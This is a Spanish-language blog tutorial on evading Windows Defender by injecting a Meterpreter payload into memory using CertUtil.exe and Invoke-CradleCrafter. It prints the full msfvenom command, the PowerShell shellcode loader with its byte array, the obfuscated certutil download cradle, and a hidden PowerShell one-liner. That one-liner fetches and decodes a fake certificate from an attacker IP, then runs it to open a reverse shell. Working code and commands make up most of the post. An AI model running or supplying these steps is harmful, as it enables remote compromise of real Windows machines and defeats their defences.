PowerShell: inyección en memoria usando CertUtil.exe e Invoke-CradleCrafter

Cada vez es más complicado evadir los endpoints como Windows Defender, por lo que están surgiendo numerosas herramientas e ingeniosas técnicas usando LOLBins (Living Off The Land Binaries) y ofuscando los payloads para generar cradles efectivos. (Por si alguno no conoce el término, los cradles son aquellos comandos en una sola línea que permiten ejecutar un payload remoto y ejecutarlo).

Precisamente, en el blog de Coalfire mostraban cómo usar Certutil.exe de Microsoft junto con Invoke-CradleCrafter de Daniel Bohannon, un módulo PowerShell que permite un montón de técnicas para explorar, generar y ofuscar cradles. El resultado como veréis es un payload y un comando en una línea que pueda usarse para evadir la última versión de Windows Defender.

Primero crearemos un de Meterpreter en powershell codificado en base64:
# msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.34 LPORT=443 -e cmd/powershell_base64 -f psh -o load.txt
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of cmd/powershell_base64
cmd/powershell_base64 succeeded with size 768 (iteration=0)
cmd/powershell_base64 chosen with final size 768
Payload size: 768 bytes
Final size of psh file: 4512 bytes
Saved as: load.txt

A continuación, crearemos una carpeta que usaremos para servir el script 'load.txt' recién creado. Para que os hagáis una idea de lo que contiene:
# cat load.txt
$JOpFybVZqcCwv = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@

$BVRQwroOOkNipmP = Add-Type -memberDefinition $JOpFybVZqcCwv -Name "Win32" -namespace Win32Functions -passthru

[Byte[]] $vNbEwbDua = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xd,0x0,0x0,0x0,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x31,0x2e,0x33,0x34,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x1,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0x33,0x0,0x0,0x0,0x2f,0x39,0x48,0x62,0x31,0x6b,0x64,0x30,0x4b,0x32,0x64,0x58,0x37,0x6d,0x66,0x71,0x62,0x6f,0x49,0x30,0x42,0x54,0x51,0x50,0x45,0x31,0x6e,0x6b,0x4e,0x45,0x52,0x35,0x4a,0x51,0x32,0x51,0x70,0x34,0x38,0x59,0x4c,0x50,0x66,0x71,0x6f,0x30,0x55,0x57,0x53,0x47,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x32,0xa0,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5


$cXvoEwHqhsx = $BVRQwroOOkNipmP::VirtualAlloc(0,[Math]::Max($vNbEwbDua.Length,0x1000),0x3000,0x40)

[System.Runtime.InteropServices.Marshal]::Copy($vNbEwbDua,0,$cXvoEwHqhsx,$vNbEwbDua.Length)

$BVRQwroOOkNipmP::CreateThread(0,0,$cXvoEwHqhsx,0,0,0)

El siguiente paso será utilizar Invoke-CradleCrafter para ofuscar los comandos con certutil y PowerShell que se usarán para realizar una inyección en memoria evadiendo el Defender.
Para ello entraremos en la consola de Powershell en nuestro Linux (pwsh o powershell) y, una vez dentro, nos moveremos al directorio donde hemos clonado Invoke-CradleCrafter y ejecutaremos lo siguiente:
PS /Pruebas/Invoke-CradleCrafter> Import-Module .\Invoke-CradleCrafter.psd1; Invoke-CradleCrafter


Empezaremos indicando la URL completa donde servimos nuestro payload:
SET URL http(s)://192.168.1.34/load.txt


para después indicar que queremos inyectar en memoria (MEMORY) y usar CERTUTIL:


En la parte de ofuscación seleccionamos 'All' y 1:


cSet-Variable rw 'http://192.168.1.34/load.txt';dir ty*;SV C (certutil.exe -ping (Item Variable:\rw).Value);.(GCM *e-Ex*)(((ChildItem Variable:/C).Value[2..(((ChildItem Variable:/C).Value).Length-2)]-Join"`r`n"))

Una vez que tenemos el resultado, lo pegamos en un archivo llamado raw.txt en la máquina con Windows para después codificarlo en base64 utilizando certutil.


El resultado será un archivo al que hemos llamado cert.cer que parece un certificado:


Ese archivo lo llevaremos también a la máquina del atacante y prepararemos el siguiente comando que lo llamará de forma remota para desplegarlo y ejecutarlo en el destino. Una vez que se ejecute, llamará al payload load.txt e inyectará Meterpreter a través de PowerShell en la memoria:
powershell.exe -Win hiddeN -Exec ByPasS add-content -path %APPDATA%\cert.cer (New-Object Net.WebClient).DownloadString('http://192.168.1.34/cert.cer'); certutil -decode %APPDATA%\cert.cer %APPDATA%\stage.ps1 & start /b cmd /c powershell.exe  -Exec Bypass -NoExit -File %APPDATA%\stage.ps1 & start /b cmd /c del %APPDATA%\cert.cer

Si tenemos el web server y el multi/handler (payload reverse_https) preparados conseguiremos levantar la sesión de meterpreter evadiendo completamente Windows Defender.


Os quito un momento el parámetro hidden para que veáis la ejecución:


Y en un momento, obtendremos la sesión de Meterpreter en la máquina del atacante:


Tened en cuenta que si el ataque tiene éxito, el script PowerShell de Meterpreter que se ejecuta debe borrarse manualmente. El archivo cert.cer se eliminará automáticamente, pero hay que eliminar el archivo stage.ps1 una vez que la sesión de Meterpreter se establezca:


pd. Recordar también, que si tenemos ya una sesión en PowerShell podemos copiar el contenido del archivo stage.ps1 para ejecutar el payload directamente.

1 comentarios :

  1. Qué bueno. A ver cuánto dura, que Windows Defender se está convirtiendo en un hueso bastante duro en Win10.

    ResponderEliminar